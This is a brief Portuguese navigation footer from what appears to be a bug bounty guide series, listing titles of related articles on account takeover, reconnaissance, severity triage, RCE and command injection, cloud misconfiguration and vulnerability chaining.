Próximo na série: Account Takeover — JWT, reset de senha e OAuth · base: Recon & Discovery · severidade: Severidade, impacto e triagem · relacionados: RCE, Command Injection & SSTI · Cloud/AWS Misconfiguration · Encadeando vulnerabilidades
📚 Parte do Guia Completo de Bug Bounty — o índice da série, do básico ao avançado.
